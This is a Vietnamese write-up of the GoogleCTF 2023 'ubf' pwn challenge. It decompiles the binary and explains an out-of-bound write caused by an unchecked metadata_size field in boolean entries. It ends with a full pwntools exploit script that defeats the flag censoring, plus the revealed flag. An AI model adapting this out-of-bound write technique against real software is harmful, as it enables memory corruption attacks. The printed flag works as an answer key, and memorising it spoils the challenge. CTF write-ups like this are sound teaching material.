GoogleCTF 2023 Quals

ubf

Vulnerability: Chương trình tin rằng trường metadata_size trong header kiểu bool không có ý nghĩa, nên bỏ qua mọi kiểm tra. Nhưng thực tế, field đó vẫn được sử dụng, sai với ý định ban đầu, attacker lợi dụng điều này thực hiện ghi out-of-bound.

January 13, 2026 January 12, 2026 Easy
Author Author Hung Nguyen Tuong

Recon

Mitigation

$ pwn checksec ubf
[*] '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-ubf/challenge/ubf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ file ubf
ubf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=67d27e2e52838ebf2017b257f12ca28baa60e410, for GNU/Linux 3.2.0, not stripped

Code

Nhờ Claude mình có 2 struct như sau:

00000000 Header          struc ; (sizeof=0x9, mappedto_10)
00000000 buf_size        dd ?
00000004 type            db ?
00000005 count           dw ?
00000007 metadata_size   dw ?
00000009 Header          ends
00000000 Entry           struc ; (sizeof=0x1D, mappedto_11)
00000000 next            dq ?                    ; offset
00000008 type            db ?
00000009 count           dd ?
0000000D metadata_size   dd ?
00000011 buf_size        dd ?
00000015 buf             dq ?
0000001D Entry           ends

main()

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int len; // [rsp+1Ch] [rbp-14h] BYREF
  char *decoded; // [rsp+20h] [rbp-10h]
  char *s; // [rsp+28h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  signal(14, alarm_handler);
  alarm(0x3Cu);
  if ( !(unsigned int)set_env_from_file("FLAG", "/flag")
    || !(unsigned int)set_env_from_file("MOTD", "/motd")
    || !(unsigned int)set_env_from_file("TEAM", "/team") )
  {
    return -1;
  }
  len = 0;
  decoded = read_blob_b64(&len);                // return decoded string and its length
  if ( decoded || len > 0 )
  {
    s = unpack(decoded, len);
    if ( !s )
      s = errorstr;
    puts(s);
    return 0;
  }
  else
  {
    puts("Invalid data provided");
    return -1;
  }
}

unpack()

char *__fastcall unpack(char *decoded, int len)
{
  int type; // eax
  Entry *next_entry; // [rsp+10h] [rbp-40h] BYREF
  Entry *head; // [rsp+18h] [rbp-38h] BYREF
  void *v6; // [rsp+20h] [rbp-30h]
  __int64 end; // [rsp+28h] [rbp-28h]
  char *buf; // [rsp+30h] [rbp-20h]
  Entry *cur_entry; // [rsp+38h] [rbp-18h]
  Entry *cur_entry_; // [rsp+40h] [rbp-10h]
  Header *cur_header; // [rsp+48h] [rbp-8h]

  cur_header = (Header *)decoded;
  end = (__int64)&decoded[len];
  head = 0LL;
  cur_entry_ = (Entry *)&head;
  do
  {
    if ( end < (unsigned __int64)&cur_header[1] || cur_header->count < 0 || cur_header->buf_size < 0 )
    {
      errorstr = "Invalid header";
      return 0LL;
    }
    next_entry = 0LL;
    cur_header = unpack_entry(cur_header, end, &next_entry);
    if ( !cur_header )
      return 0LL;
    cur_entry_->next = next_entry;
    cur_entry_ = next_entry;
  }
  while ( (unsigned __int64)cur_header < end );
  cur_entry = head;
  buf = tmp_string;
  v6 = &unk_250BF;
  while ( cur_entry )
  {
    type = cur_entry->type;
    if ( type == 's' )
    {
      buf = strs_tostr((__int64)cur_entry, buf, end);
    }
    else if ( type <= 's' )
    {
      if ( type == 'b' )
      {
        buf = (char *)bools_tostr(cur_entry, buf, v6);
      }
      else if ( type == 'i' )
      {
        buf = ints_tostr((__int64)cur_entry, buf, end);
      }
    }
    if ( !buf )
    {
      errorstr = "Memory failure";
      return 0LL;
    }
    cur_entry = cur_entry->next;
  }
  *buf = 0;
  return tmp_string;
}

Về cơ bản, mình cần phải input một chuỗi các header + data liền sau, chương trình sẽ parse thành các entry và in ra nội dung của chúng.

Mỗi header tương ứng với 1 type, có thể chứa nhiều phần tử của type đó.

expand_string()

int *__fastcall expand_string(const char *string_data, int len, const char **new_string_data, int *new_len)
{
  int v4; // eax
  int v5; // edx
  int *result; // rax
  const char *s; // [rsp+28h] [rbp-8h]

  if ( len > 1
    && *string_data == '$'
    && (memcpy(tmp_string, string_data + 1, len - 1), tmp_string[len - 1] = 0, (s = getenv(tmp_string)) != 0LL) )
  {
    v4 = strlen(s);
    *new_string_data = s;
    v5 = 0xFFFF;
    if ( v4 <= 0xFFFF )
      v5 = v4;
    result = new_len;
    *new_len = v5;
  }
  else
  {
    *new_string_data = string_data;
    result = new_len;
    *new_len = len;
  }
  return result;
}

Từ main() -> unpack() -> unpack_entry() -> unpack_strings() -> expand_string(), ở đây nếu như mình nhập một chuỗi là $FLAG, chương trình sẽ lấy từ env var đã được set ở hàm main().

Tuy nhiên khi xây dựng chuỗi output hoàn chỉnh ở strs_tostr(), hàm censor_string() được gọi:

void *__fastcall censor_string(unsigned __int8 *string_data, int len)
{
  void *result; // rax

  if ( len > 5 )
  {
    result = (void *)*string_data;
    if ( (_BYTE)result == 'C' )
    {
      result = (void *)string_data[1];
      if ( (_BYTE)result == 'T' )
      {
        result = (void *)string_data[2];
        if ( (_BYTE)result == 'F' )
        {
          result = (void *)string_data[3];
          if ( (_BYTE)result == '{' )
            return memset(string_data + 4, 'X', len - 5);
        }
      }
    }
  }
  return result;
}

Khiến cho flag bị in ra là CTF{XX…XX}.

Để ý rằng, trường metadata_size chỉ sử dụng cho type là strings, nên nó ko có ý nghĩa với int và bool, nên sẽ ko được check. Ở hàm fix_corrupt_booleans(), việc tính toán lại phụ thuộc vào metadata_size mà ko được check:

fix_corrupt_booleans()

unsigned __int64 __fastcall fix_corrupt_booleans(Entry *entry)
{
  unsigned __int64 result; // rax
  unsigned __int64 buf_end; // [rsp+10h] [rbp-18h]
  __int64 buf; // [rsp+18h] [rbp-10h]
  int i; // [rsp+24h] [rbp-4h]

  buf = entry->buf + (int)entry->metadata_size; // metadata_size should be 0
  buf_end = entry->buf + (int)entry->buf_size;
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)entry->count;
    if ( i >= (int)result )
      break;
    result = i + buf;
    if ( result >= buf_end )
      break;
    *(_BYTE *)(i + buf) = *(_BYTE *)(i + buf) != 0;
  }
  return result;
}

Vậy nếu metadata_size được nhập bất kỳ, có thể thực hiện OOB write ra ngoài entry.

Solve

Vậy ý tưởng đó là OOB ghi đè vào 1 trong 3 ký tự CTF, từ đó mình có thể bypass hàm censor_string() lấy đc flag.

Script

#!/usr/bin/env python3

from pwn import *

sl = lambda p, x: p.sendline(x)
ru = lambda p, x: p.recvuntil(x)

exe = ELF("ubf_patched", checksec=False)

context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
breakrva 0x180b
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
            sleep(0.5)
        return p
    else:
        host = "localhost"
        port = 1337
        return remote(host, port)

p = conn()

# String entry
data = b''
data += p32(0x80)
data += b's'
data += p16(1)
data += p16(2)
data += p16(5)
data += b'$FLAG'

# Bool entry
data += p32(0x20)
data += b'b'
data += p16(1)
data += b'\x42\xff' # OOB
data += b'\x01'

sl(p, base64.b64encode(data))

ru(p, b'TF')
print(f"Flag: CTF{ru(p, b'}').decode()}")
$ py solve.py LOCAL
[+] Starting local process '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-ubf/challenge/ubf_patched': pid 342521
Flag: CTF{Respl3nd4nt-C0nd1tion@l-El3ments}
[*] Process '/home/hungnt/ctfs/google-ctf/2023/quals/pwn/pwn-ubf/challenge/ubf_patched' stopped with exit code 0 (pid 342521)